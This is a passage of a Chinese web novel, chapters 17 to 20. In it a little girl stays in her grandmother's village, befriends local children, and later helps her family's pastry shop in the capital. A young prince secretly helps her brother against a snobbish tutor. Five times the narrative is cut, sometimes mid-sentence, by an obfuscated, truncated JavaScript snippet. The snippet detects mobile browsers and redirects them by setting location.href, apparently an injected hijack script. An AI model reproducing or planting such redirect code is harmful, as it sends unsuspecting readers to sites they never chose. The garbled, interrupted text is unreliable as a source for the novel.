苏娘子忙道:“你身子骨不好,不能挪动,您口述,我去做吧。” 苏奶奶想要起身,却实在起不来,叹口气:“好吧。” 传手艺本就是细致活,这样口述,难免会有误差。 可如今的情形,也只能这般了。 若想把剩下的二十五多种手艺全都学会,那是绝无可能,便是学了,也只是囫囵吞枣。 故而苏娘子这次回来,还是只学三种,等三种学的合格了,再回京城。 苏茵茵在肃河村安心住下,每日随着鸡鸣起来。 上午在奶奶身边写写字,陪奶奶说话,下午吃娘亲做的点心,晚上睡在娘亲身边,日子过得十分悠闲。 直到门口几个小孩路过好几次,让苏茵茵忍不住放下笔,抬头看向门外。 门口几个小孩四五岁的模样,瞄见院子里好看的小妹妹看向他们,立刻四散跑开。 苏茵茵眨眨眼。 他们在干什么呀。 苏茵茵收好哥哥送的毛笔,小跑着往外看,那几个小孩没走远,震惊道:“真好看啊。” “皮肤好白啊。” “眼睛好大,跟牛一样。” 苏茵茵哭笑不得,歪头道:“谢谢?” 几个小孩左看右看,这才凑过来:“你是苏奶奶的孙女吗。” 苏茵茵点头,他们小声自我介绍,一个小姑娘是姨奶家的孙女,算是苏茵茵的远方表妹,剩下都是村里的小孩。 他们都以为村里来了新来的娃娃,肯定会出来跟他们玩,没想到左等右等,这个好看的小娃娃根本不出来! 大家这才找上门的。 苏茵茵傻眼,原来是这样。 她毕竟不是真正的小孩,在家写字吃点心挺好的。 不过小朋友们找上门,她也不会拒绝,苏茵茵先跟娘亲说了声,又带了几个小点心出来。 凭借这些小点心,苏茵茵立刻成为所有小孩子心中最好的朋友!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14060891|149243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 吃了苏茵茵的点心,大家不藏私,喊着她出去摘枇杷果吃,有几个野枇杷树离这里不远,他们一起去。 苏茵茵还没见过枇杷树呢,当下点头。 一群小朋友小跑着去摘果子,苏茵茵没留神,一个大点的孩子直接爬到树上,吓得她赶紧道:“太危险了,快下来吧。” “没事,你们接着。”黑黢黢的小孩呲着白牙,往下扔果子。 小朋友们立刻去捡,苏茵茵抬头看着树上的小孩,生怕他掉下来。 “你们干什么呢!知不知道危险!” 一声怒喝从旁边传来,又有人道:“快下来!立刻!” 苏茵茵只顾着看树,被这两声一吓,直接被石头绊倒。 两个小手往空气里挣扎片刻,顺手抓住两个衣角,没让自己摔得太厉害。 衣角? 扑在地上的苏茵茵抬头往上看,两个黑着脸的大哥哥大姐姐正低头看她。 大哥哥大姐姐一人一只手把她拎起来,大姐姐蹲下来道:“你是谁?在村里没见过你。” “刚从山里出来,你能知道?”大哥哥嘲讽道,“天天进山,不知道山里有狼?” “有狼怎么了?关你什么事,是不是怕我兔子打的太多了,你一无所获?” “好笑,到底谁打的猎物多,你心里没数?” 两人眼看吵起来,连树上的小孩都都直接开溜,显然早就习惯了。 只有落单的苏茵茵被健壮的两人拉着,根本挣脱不开。 等面露惊愕的苏茵茵看着他们,两人这才意识到,自己的手劲是不是太大了,小孩的手臂都红了。 两人连忙道歉,并指责对方:“这么乖的小孩,你怎么能扯的那么用力。” “还说我呢,你难道没拉她胳膊?” “小娃娃,你没事吧?” “我们送你回家吧,别哭了。” 苏茵茵也没哭,两人也没弄疼她,她只是来捡个枇杷果啊! 送苏茵茵回去的路上,两个人还在拌嘴。 她听明白了,大哥哥大姐姐都是肃河村的猎户。 都说一山不容二虎,一个山头也不容两个猎户,两人经常因为猎物的事吵起来。 重点是,两家的长辈没事凑一起去打猎,安全还有保障。 偏偏这两人,从头一次进山就不对付,每次不是比谁的猎物多,就是比谁受伤少。 要是对方伤太重,还会被嘲讽。 苏茵茵无奈看着牵着她手的两个人,终于到家门口,苏茵茵郑重转身,把两人的手虚放在一起:“建议牵着手吵。” “这样感情更深。” 两人的手并未触碰,只是虚虚的叠在一起,大哥哥咬牙:“为什么我的手在下面。” 大姐姐冷笑,直接拍过去:“因为你比我弱!” 你们在吵什么啊! 是什么死对头文学吗! 她听着不像真的吵架啊! 苏娘子听到女儿声音,下意识问道:“茵茵怎么了?” “没事娘亲,我以为门口的大姐姐大哥哥是过来定喜饼的!” 喜饼。 两人对视一眼,迅速挪开视线。 谁要跟他定喜饼。 红着脸的两个人迅速跑开,没看到跑的方向不是自己家。 苏茵茵并不知情,她荷包里还有好几个枇杷呢,给娘亲,奶奶吃吧! 17. 第 17 章 第17章 苏茵茵把枇杷洗干净,给娘亲奶奶挑了最好的,这才去看今日做的点心。 她们回肃河村五六天了,学的第一样点心,凉糕,终于做的差不多。 凉糕,用糯米,熟面粉,加上白糖芝麻熟瓜子仁做成。 糯米的口感,白糖芝麻的香味,最后还有瓜子仁的层次,这口味一看就不差。 白乎乎的糯米凉糕,很适合夏天食用。 如今三月下旬,这点心摆出去必然有市场。 苏茵茵吃了好几日的糯米凉糕,确定娘亲手艺越来越好了。 “好吃,娘亲可以摆摊啦。” 苏娘子才不信,她做什么,闺女都说好吃。 不过这会,女儿忽然没说话,反而看着自己手指。 苏娘子看过去,见她手指上都是枇杷染的颜色:“宝宝要洗手吗,娘带你去。” 女儿最爱干净,受不了手上的脏东西。 “不是不是。”苏茵茵指了指白乎乎的糯米凉糕,又看了看手指,“娘亲,把凉糕做成不同颜色,是不是更好看。” 这不是什么高明的招数。 放到现代,在各类糯米制品中加入食用色素是很正常的事。 但如今在糯米凉糕上染色的,还是头一个。 别说苏娘子,便是苏奶奶都眼前一亮。 枇杷的果味黄色,跟清水一同拌到糯米粉,颜色肯定好看。 同类的还有各类果蔬,在不影响口味的前提下,甚至能增加风味。 苏奶奶做点心几十年,立刻明白过来,点头道:“好,这个办法好,点心颜色多样,卖得肯定更好。” 苏茵茵一句话,苏娘子又做了一份糯米凉糕。 这次添加枇杷汁液,把白乎乎的糯米凉糕做成喜滋滋的黄色,看着便引人注目。 放到窗口售卖,肯定能吸引路人的目光,吃起来还有新鲜枇杷果的香味,口味更好了。 “不愧是苏家的女儿,天生就会做点心。”苏奶奶不停地夸赞。 可惜她身体不好了,否则一定手把手教。 苏茵茵被夸的不好意思,小声道:“没有,只是一个小技巧。” “那也很厉害了。”苏娘子亲亲女儿,这几日的劳累总算没白费。 再学两样点心,她这次的任务也算完成。 苏奶奶明显精力不济,她学的速度要再快点才行,不能打扰她老人家。 糯米凉糕,山楂云卷糕,开口酥。 前两种很适合夏秋售卖,可以一直做到十月,开口酥一年四季都好吃。 学会这三种,慧女点心的生意肯定会好一些。 苏娘子学的更加用心,苏茵茵则跟邻居家小孩们玩到一起。 她一直乖乖的,衣服整洁,人也爱笑,不到几天时间,整个村子的小孩都愿意来找苏茵茵。 不止于此,苏茵茵荷包里总有很多小零食,时不时会给他们尝尝。 特别是家中贫苦的小孩,总会得到她额外的关照。 姨奶家不到三岁的表妹小声道:“他爹前些年被匪贼打劫吓死了,他娘养着一家五口,所以很穷。” 上有两个老人,下面还有三个孩子,是很苦。 苏茵茵把荷包里香甜凉糕拿出来,分一些给表妹,剩下的都给眼前的四五岁的小娃娃。 在苏茵茵眼里,这些都是小朋友。 小娃娃不肯接,也被她强行塞到手中。 表妹那边都吃完了,还摊开手对小娃娃说:“快吃呀,不要客气。” 那个小娃娃这才咬了几口,看样子确实很饿。 几个小朋友凑在一起说话,苏茵茵只觉得前面林子好像有人,可她个子矮,根本看不到是谁。 小表妹要跑过去看,苏茵茵赶紧拉住她:“不能进林子,太危险了。” “走吧,回家吧。” 作为主心骨的苏茵茵小手一挥,一群小娃娃们跟着她回村里。 还别说,有苏茵茵当小朋友中的主心骨,一不爬树,二不下河,更不会进林子,可把村里人喜坏了。 跟着她保准安全。 小不点们离开之后,林子里两个人才提着一头硕大的野猪出来。 他们才不想让人知道,他们合伙打了头野猪呢! “怎么分。”霍芸生硬道。 郑良似乎想到什么,但嘴硬开口:“我出力多,自然是我分的多!” 霍芸脾气立刻上来:“什么叫你出力多? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14060892|149243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是我先看到,我布置的陷阱。” 两个人吵了一会,当下一人一半,都扛着自己那半扇野猪离开。 只是郑良特意割了条肉送到苏奶奶家中,不知道为什么。 管他为什么呢! 苏茵茵口水差点留下来。 掰着指头算算,回乡快半个月了,她头一次看到这么肥美的肉! 苏娘子笑着道:“说吧,想怎么吃。” “红烧肉!”苏茵茵拍着手,“蒸着吃也行!” “怎么都行。” 说罢,苏茵茵有些不好意思,她不应该说出来的,这样显得太馋了,娘亲会不会不喜欢。 苏茵茵发顶被亲一口,苏娘子戴上围裙,笑道:“行,都听茵茵的。” 回乡这么久,不仅没有新鲜肉吃,连牛奶也没有。 苏娘子生怕宝宝饿着了,只要她愿意吃,哪有不高兴的。 接下来几天,苏茵茵不仅吃到红烧肉,还吃到粉蒸肉,甚至吃到用猪肉给她熬的粥。 她不知道的是,苏娘子趁着她陪苏奶奶说话,特意去郑良家送银钱,谁料不仅没送成,差点又得了个喜饼的单子。 苏娘子有些傻眼,她之前也是在村里住的,自然知道郑家那小子跟霍家小妹每日吵来吵去。 怎么吵着吵着,郑家小子还想提亲? 那小子说什么,再等等吧,再等等说不定要在您那定喜饼呢。 “多亏茵茵妹妹,不然我还不知道。”郑良一个黝黑小子,脸上都能透露出红意,看的郑家人一阵无语。 可惜后续如何,苏娘子不能第一时间知道。 三种点心学会,她该收拾收拾回京城。 走之前苏娘子又去附近镇上采买,好让苏奶奶日子过得舒适些,再把接下来的银钱给到姨奶家,托他家好好照看,及时吃药。 苏茵茵泪眼婆娑,很舍不得奶奶。 她还是第一次有奶奶疼爱,这里还有那么多小伙伴,她都有点不想回京城了。 苏娘子好笑道:“不回?你爹爹跟哥哥可要哭了。” “对了,还有你那个小朋友,原锐也在等你。” 啊,爹爹哥哥她倒是想过。 差点把原锐给忘了! 18. 第 18 章 第18章 四月初六,从乡下回来的苏娘子,苏茵茵总算进了家门。 出去将近二十天,苏副使特意请假在家中等着。 “家中一切可好?” “都好。”苏副使答道,“显儿还在学堂,一会就回来。” 苏副使说着,抱起女儿:“在老家这么久,是不是瘦了些。” 苏茵茵没感觉啊。 她在老家天天吃点心,睡醒了就是玩,不时还有鸡蛋吃,临走那几天更是吃上野猪肉,怎么可能瘦嘛。 苏娘子回来,店面重新开张。 程张两家的点心也可以继续做了,不少老顾客更是过来询问,什么时候重新开张,他们等着吃点心呢。 店面再开张,原本的三种点心变为六种。 特别是新出的糯米凉糕,不仅颜色好看,味道也好,一摆出来,便吸引无数过路人的目光。 糯米凉糕推出了五种颜色,都是时下新鲜的果蔬榨汁做成。 五种不同颜色的凉糕摆上来,谁路过都要多看两眼。 山楂云卷糕色泽漂亮。 开口酥模样精致。 三种新品上市,重新开业的慧女点心比之前还要热闹。 原锐过来的时候,甚至走不到前排,还好柜台里的苏茵茵站在凳子上,正好看到自己的小伙伴。 “原锐!” 李锐渊眼睛一亮。 他就知道,小宝宝也想他。 进了柜台里面,李锐渊发现,小宝宝好像长高了一点。 李锐渊沉默。 他没有看到小宝宝长高的过程,有些难过。 “你最近怎么样,有没有好好吃饭呀。”苏茵茵把店里新上的点心拿过来,“你尝尝,看喜不喜欢。” 糯米不好消化,苏茵茵特意切了小快,让小伙伴尝尝。 还跟之前一样,勉强能吃下一些,再多就要吐了。 苏茵茵有些发愁。 她总感觉原锐也长高了,但他是真的更瘦。 这样怎么行啊。 小宝宝的眼神,让李锐渊勉强多吃了个开口酥,实在吃不下了才道:“好吃。” 苏茵茵微微点头:“一定能找到你喜欢的食物。” 这句话让李锐渊顿了下,低声嗯了句。 “不对啊,你今天不是应该上课吗。”苏茵茵忽然想到。 李锐渊这才点头:“所以我要回去了。” 太傅还等着他呢。 “快去啊!等你放假了再来。” 学习的机会很难得的。 她哥哥去了新私塾之后,不仅早出晚归,每日课业做到深夜,太难了。 李锐渊一步三回头,见她挥挥小手,这才准备离开。 他还要努力学习,让百姓多多赚钱。 小宝宝不用去乡下学手艺,更不会长高了自己都没看到。 李锐渊还没走,小宝宝的哥哥红着眼回来。 这是怎么了? 苏茵茵明显也看到了,小跑着过去抱着哥哥:“哥哥,你怎么了。” 苏显揉揉眼,低头道:“没事。” 不可能没事。 哥哥还没到放学时间,还哭着回来。 十一岁的小孩努力让自己不掉眼泪,但妹妹一过来,眼泪立刻止不住了。 他不要上学了。 不要在这个私塾读书。 苏娘子那边客人极多,还没发现大儿子的异常,只是奇怪道:“今日放学这样早吗,娘亲午饭还没做。” 苏显点点头,拉着妹妹回家。 李锐渊沉默片刻,还是跟过去吧,让太傅再等等,他今天晚上绝对把课业补回来。 仆从连忙跟上,生怕几个小娃娃出什么事。 回到家中,苏显原本不愿意说,面对妹妹紧张的眼神,他才道:“私塾的一点小事,没问题。” 私塾? 苏茵茵对哥哥的新私塾不是很了解。 只知道学费很贵,坐馆夫子还是进士呢。 那能有什么事? 苏茵茵睁大眼睛,难道是学校霸凌? 哥哥是新转过去的,所以被同学欺负了! 事实上也差不多。 苏显刚到的时候还好,他文章写的好,自然得夫子夸赞。 但得知苏显爹娘是做什么的时候,夫子脸色变了。 一个卖点心的。 一个小小副使。 这种人家,也能到他那里读书? 夫子收了这个月七两银子的束脩,又不舍得退钱,只想着让苏显自觉退学才好。 从此,苏显便成了夫子的眼中钉,下面学生有样学样,跟着欺负人。 苏显性格本就沉稳,平日看不出来。 最近一段时间,娘亲跟妹妹还不在家,苏副使同样早出晚归,一时也没察觉。 二十多天里,就这么坚持下来。 直到今日,那夫子又把苏显文章批的一无是处,说他根本不适合读书,更不可能科举。 好好的文章,被他改的乱七八糟。 又说了一大堆酸话,连带着把苏家人同样讲的一无是处。 气的苏显抓起书箱就走。 他再也不来了! 什么狗屁私塾! 到了家附近,苏显才冷静下来,除了眼圈微红之外,什么也没显露。 苏显只说了大概。 但苏茵茵,李锐渊,包括身边的仆从,很容易从只言片语中推测出全过程。 苏茵茵也气的眼圈红了:“什么夫子,误人子弟的夫子吧!咱们不去了。” 一想到哥哥受了二十多天的委屈,苏茵茵的泪珠瞬间掉下来。 苏茵茵一哭,原本没什么表情的李锐渊慌张,一边给她擦眼泪,一边冷声道:“不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14060893|149243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是个进士,问问他是哪科什么榜的进士,别是个三甲同进士,这辈子连官都没做过。” 进士还分很多种? 苏茵茵对此一无所知。 苏显虽然知道一点点,但只明白秀才上是举人,举人上是进士,不明白如何细分。 见两人都看着自己,李锐渊又道:“把你课业给我,我倒是要人看看,他批改的到底如何。” 不等苏显反应过来,苏茵茵把哥哥最近的课业都找出来。 她又不傻! 她能看出来原锐绝对非富则贵!可以帮忙看看哥哥的课业。 说什么她哥不适合科举,不适合读书。 这不是打击人的自信心嘛! 苏茵茵目光殷切,大眼睛全心全意信赖对方,看的李锐渊耳朵有些红,郑重接过课业:“下午就送过来。” 说罢,李锐渊又给小宝宝擦擦眼泪:“别伤心,我会帮你报仇的。” 谁都不能让小宝宝哭。 皇宫,太子阁。 太傅喝了三盏茶,还是没看到太子人影。 “怪哉,平日勤奋,今日还没起?” 六十多岁的白胡子太傅脾气甚好,对自己唯一的学生更是宽容。 谁教这样省心的学生,谁都宽容啊。 说话间,太子穿着民间的常服匆匆走过来,一沓小孩课业被放在三朝元老翰林院内阁学士面前。 “太傅大人,您帮忙看看,这课业可还有救。” “那批注之人可还有救。” ??? 这是做什么? 苏茵茵压根不知道小伙伴把哥哥课业给谁看了。 如果她知道,肯定大喊一句,博导批改小学生课后作业? 这是不是大材小用了! 当天下午,仆从把批改过的课业送过来。 只不过这次的课业批改上,还有另一层批改。 仆从认真道:“苏显少爷,您把这课业交给你们夫子,他绝无二话,放心吧。” 为何? 苏茵茵凑过去看。 只见进士夫子在哥哥课业上批注,一窍不通。 另一个苍劲有力的大字在批注上写,你就通了? 文不对题。 什么古怪题目,故意卖弄。 不听圣人言! 圣人不是这么说的。 稚子可笑。 同进士不可笑!误人子弟可笑! 苏茵茵手有点抖,上面的字迹对比,实在能看出差距。 哥哥年纪小,字迹端正即可。 夫子的字虽不错,跟最后一层批注相比,简直一个天上一个地下。 哥哥的夫子本就小心眼,要是看了这些批注,只怕要气晕过去? 那场面,一定很有趣。 还在皇子阁读书的李锐渊心想。 谁让茵茵哭,他就让谁哭。 19. 第 19 章 第19章 苏显利落收拾书箱回私塾。 就是要气气夫子。 反正他也不能在那读书了! 苏茵茵同样抱着这样的想法,一整个下午,在点心铺无精打采的,满脑子都是哥哥的事。 谁料下午放学,带着困惑的哥哥回来了。 避开爹爹娘亲,苏茵茵偷偷问:“哥哥,夫子没有把你赶回来吗。” 苏显摇头,同样低声道:“不仅没赶回来,还问我,还有别的批注吗。” 啊。 为什么啊。 两个小孩吃饭的时候还在嘀嘀咕咕。 苏副使苏娘子只当没看到,兄妹两个感情好,这很正常。 “夫子刚开始很生气,但看到字又不气了。” “还夸字写的好,又说对方写的在理。” “很奇怪,也不让我走了。” 聪明如苏显苏茵茵,都猜不透里面的意思啊。 苏茵茵最后道:“明日我问问原锐!” 苏显点头。 第二日,苏茵茵早早在点心铺门前等候,见到原锐过来,小跑着上前。 李锐渊脚步一顿,随后若无其事快步迎上。 听到小宝宝说了昨日的事,李锐渊点头:“很正常。” “批注的夫子很厉害。” 仆从听着,心道若太傅听到太子的话,定然非常高兴。 苏茵茵震惊。 厉害到单是字迹,就让一个进士夫子心悦诚服吗! 好厉害啊。 李锐渊看着小宝宝的眼神,又道:“我会比他更厉害。” “一定,你也一定能考中进士的!” 有这样厉害的夫子,原锐肯定可以的! 李锐渊跟仆从们一时语塞。 别说进士,便是秀才,他也不会去考啊,当个主考官倒是有可能。 李锐渊不好反驳,揉揉小宝宝的脑袋:“如果再有这种事,记得告诉我。” 苏茵茵连连点头。 好啊。 她好像抱住一个金大腿! 这件事是三个小朋友的秘密,从头到尾都没让爹娘知道。 直到,苏娘子月底再去交学费的时候。 进士夫子抓耳挠腮跟苏娘子打听做批注之人,苏娘子一头雾水,两人解释半天,才知道怎么回事。 苏娘子哭笑不得,没想到孩子们私下里还做了这样的事。 回到家后,苏娘子将此事同苏副使讲了,两人忍不住讨论,原锐到底是什么身份。 他的夫子竟然能让进士夫子折服。 想了半夜,干脆不再多虑。 京城嘛,多富贵的人家都有,就算是皇子皇孙,也不奇怪! 说话间便到七月底,天气由热转凉,马上进入八月,也到慧女点心第二个喜饼大订单。 程张两家八月初八大定,要在这之前,包好六百六十六对喜饼送到男方程家府上。 程家跟慧女点心的合作一向稳妥,即便如此,程家婆子还是早早上门提点,又给了三两定金,让苏娘子务必上心。 之前的小定匆匆忙忙,这次大定他们可是下了十足的功夫。 说话间,张家也来人了,张家小姐办了场赏菊宴,特意给苏茵茵送了张。 这宴会是张家小姐婚前最后一次小宴,请的都是闺中好友,自然想到撮合他们姻缘的小娃娃,到时候张家亲自来人接她,绝对不会出差错。 苏茵茵头一次接到正式的请帖,上面画着漂亮的菊花,请帖雅致精美,她都想收藏起来了呢。 程张两家要忙,苏家也跟着忙碌。 这次苏娘子请了六位婶娘过来,同样都是当年的军属。 提前三日过来帮忙做喜饼,到时候慧女点心不用关门,喜饼也忙得过来。 再次过来的李婶娘,王婶娘脸上带笑,比之上次少了拘谨。 其他四位婶娘则跟她们上次一样,紧张的要命。 苏茵茵发现,爹娘接济的军中旧友,不管本人还是家眷,都是踏实肯干的,他们性格或许不同,但都是很好的人。 怪不得爹娘一直愿意帮忙。 要是能让大家有长久的活计就好了。 这个念头刚冒出来,苏茵茵又摇摇头,她也看出来了,三岁的她根本没有这个能力啊。 在爹娘的保护下,她好像真的是个小宝宝了。 小宝宝打个哈欠,穿上秋装,整个人圆滚滚的,即使是秋装颜色也是漂亮得像个小蝴蝶。 张家早早来人接苏茵茵,苏茵茵喝了奶,又偷偷带上两对喜饼。 她顺便给张姐姐送一些! 想来喜饼送到程家,张姐姐自己还没吃过呢。 几个婶娘看着小短腿跑来跑去,还特意道:“拿包好的呀。” 红纸包上的喜饼,看着更漂亮了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14060894|149243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏茵茵乖乖点头,又觉得自己出去玩,娘亲婶娘他们在家做事,好像有点不好意思? 苏娘子哪能看不出来,直接把宝宝抱起来递到张家婆子手中:“快去玩吧,娘亲等你回来。” 张家婆子早就想抱抱小宝宝了。 这小姑娘粉雕玉琢的,看着像是金尊玉贵养出来的,那双大眼睛,谁看谁喜欢。 苏茵茵朝娘亲挥手,又搂住张婆子的脖子,小声道:“婆婆我是不是太重了。” “怎么会呢,小宝宝软乎乎的,张婆子我抱得动。” 本以为照顾三岁多的小孩是个麻烦事,谁料这小娃娃竟然这般乖巧。 张婆子心中一动。 她可是听说了,自家小姐的婚事,就是小姑娘撮合了,这般有福气的人,可要多抱抱。 那说不定,她家几个儿子女儿的婚事也能成呢。 苏茵茵对此完全不知情,她摸摸荷包里的喜饼,还是热乎的,一定要让张姐姐吃到热乎的喜饼。 “今日去的园子,附近还有皇家别院呢,景致格外好看。” 到了东郊别院,果然如同张婆子说的,刚到园子附近,便能感受到附近花木茂盛。 七月末的天气,已经能闻到早桂的香味。 “好漂亮。” “茵茵!你来啦。”张姐姐见到小蝴蝶一般的小娃娃,笑着走过来,把人抱在怀里,“今日最小的宾客,总算来了。” 张家小姐刚开口,她的闺阁好友们便看过来。 “这就是你说的苏茵茵。” “好可爱啊,让我抱抱。” “给你牵线的小娃娃,就跟画上的宝宝一般。” “也让我抱抱,沾沾喜气。” 苏茵茵没有让她们抱,而是偷偷跟张姐姐说:“大姐姐,我带了你们的喜饼哦,要不要尝尝,还是热乎的呢。” 喜饼? 张家小姐眼前一亮,倒不是想吃这一口,而是这东西意头好。 不愧是她的小红娘,每次遇到她都有好事。 张家小姐实在没忍住,直接亲一口苏茵茵:“快让姐姐亲亲,姐姐早就想这么干了。” 席面上一个腼腆的小姐,颇为艳羡地看着她们。 这么可爱的小宝宝,她也想抱抱,但她实在不好意思,不好上前。 对了,小宝宝家的店铺在哪,要不然回头去看看,说不定打好关系了,就能抱一抱小娃娃了? 20. 第 20 章 第20章 “尝尝这个蜜饯。” “这个果子也好吃。” “茶盏是菊花纹样,里面的花茶用最嫩的菊花酿成,你尝尝。” 苏茵茵全程脚不沾地,不是被小姐姐们抱着,就是被婆子们抱着,虽说大家都在玩乐,却也没忽略她这个小娃娃。 没办法,谁让这个小娃娃不仅长得讨喜,人也可爱。 张家小姐更是喜欢她,没想到小娃娃过来,还给她带了喜饼。 一想到她跟程郎的婚事,她笑的嘴都合不拢。 “对啊,那日多亏茵茵,还有。”张家小姐顿了下,在场还有另一个小孩。 她跟程郎推测,大概是宁郡王家的儿孙? 能自由出入宁郡王家园子,还带着仆从的,也只有他家人了。 不过那个小孩嘴也严,半点没透露那晚的事。 只是对方身份尊贵,她跟程郎也没办法去谢,只好加倍对茵茵好。 苏茵茵乖乖被投喂,遇到不喜欢的也会吃完,看的一群小姑娘心里软软。 怪不得都喜欢养女儿,原来是这么回事。 宴会结束,每个人手里都多了张小纸条,小宝宝亲自写的,内容是自家店铺地址。 “姐姐们有空来玩!” 苏茵茵原本没想着推销自家生意的,但姐姐们作诗的时候逗她玩,问她会不会写字。 那她就不客气了啊! 小手一挥,就是自家地址。 苏茵茵被张婆子送回家的时候,荷包里满是糖果点心。 似乎觉得还不够,后面仆从手里还提着食盒。 张婆子笑着道:“你家娃娃怎么养的,真是人见人爱。” 苏娘子接过困到要睡着的闺女,也笑:“天生的,她一直不让人操心。” 这话倒不像炫耀,反而有些遗憾。 苏娘子摸摸小孩的脑袋:“宝宝不需要人见人爱,开开心心的就好。” 这个倒是。 张婆子想到自家儿女,难免又想到儿女们的婚事,此刻倒也不担心了,孩子们开开心心最重要。 让苏娘子没想到的是。 茵茵参加宴会回来的第二天,点心铺门前便排起长队。 不止各家小姐的丫鬟婆子们过来采买,甚至有两个小姐逛街到这里,亲自排队。 平日也就罢了。 但最近店里极忙啊。 一边准备六百六十六喜饼。 另一边还有排着长队的顾客。 苏娘子没办法,临时又找了几个相熟的娘子过来帮忙。 连邻居刘婶子都喊过来。 苏茵茵悄悄躲在门口。 她把这事给忘了啊! 也没想到姐姐们真的过来买点心了。 苏娘子自然不生气,反而迷迷糊糊的女儿可爱极了。 “这个月多挣好多银钱,宝宝真棒。” 又被夸了。 她做什么都会被夸吗。 苏茵茵装作不在意,其实小脸红红的,高兴得很。 “娘亲,我以后会更细心点,就不会惹乱子了。” “好,茵茵最聪明。”苏娘子揉揉女儿的脑袋,继续去装喜饼。 慧女点心头一次如此忙碌。 后面喜饼忙着制作包装,前面点心排着长队。 苏茵茵参加一个小宴,就带来这么多生意。 苏茵茵同样在店铺里帮忙,她算账,刘婶子装点心。 只是再忙也会出错。 “不好意思,最后一块点心,是这位小哥的,我给忘了。”刘婶子尴尬道。 最后一块山楂云卷糕。 但是有两个买家,苏茵茵还把钱都给收了。 苏茵茵傻眼,连忙把银钱拿出来:“姐姐,我把钱退给你吧。” 帮忙给自家小姐买点心的婢女着急道:“不行的,我家二小姐点名要吃你家的山楂云卷糕,必须要买到。” 那小哥见她快急哭了,点头:“把我的让给她吧。” 婢女心存感激,张家好几个小姐,她伺候的二小姐别的都好,就是喜欢吃点心。 若买不到二小姐肯定会说她办事不牢,到时候说不定还要被罚。 苏茵茵见顾客商量好,额外打包了糯米凉糕送给两位:“谢谢哥哥姐姐,这就当送你们的吧。” 本就可爱的小娃娃,做生意这样机灵,谁还会有二话。 两人伸手去接凉糕,手指不小心碰到一起。 这,这太不好意思了。 两人闹了个脸红,赶紧退开让后面的人买东西。 苏茵茵下意识看向他们。 难道是被张姐姐洗脑了,昨天一直说她是小红娘,她竟然觉得这两人有点般配?! 不行不行,拉郎配是不对的。 小宝宝赶紧低头,继续算账。 一直到八月初八,苏家这段时间的忙碌终于结束。 送走前来帮忙的婶娘们,同时结清所有工钱,就连点心门前也不排队了。 苏娘子算着最近赚的银钱。 没想到,付了日常开支,竟然还能盈余一些银子。 这在他们家来说,可是很难得的。 都说她家茵茵是小红娘,明明是小福星才对。 苏茵茵跟原锐正在店里写字。 苏茵茵手里的笔依旧是哥哥送的。 就算哥哥说原锐是她好朋友,用他的东西没关系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14060895|149243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但她最常用的,还是哥哥给她买的。 原锐嘴上不说,教小宝宝读书写字的时候更加用心。 小宝宝《千字文》全本都是他教的! 写字也是他手把手教的。 比什么诸葛笔值钱多了。 一个教一个写,两个小娃娃格外认真。 直到被小步跑来的张婆子打断。 张婆子满脸惊喜,直接拉住苏娘子的手道:“多谢啊,真的太感谢了。” 感谢? 怎么了? “多谢你家茵茵,我家女儿的婚事终于定下。” “定的还是好人家!” 苏茵茵震惊。 不是吧,难道真的是她想的那样? 苏茵茵下意识往原锐身边靠了靠,玄学让她怕怕的。 原锐低头,靠紧小宝宝,抬头看向满脸喜气的妇人。 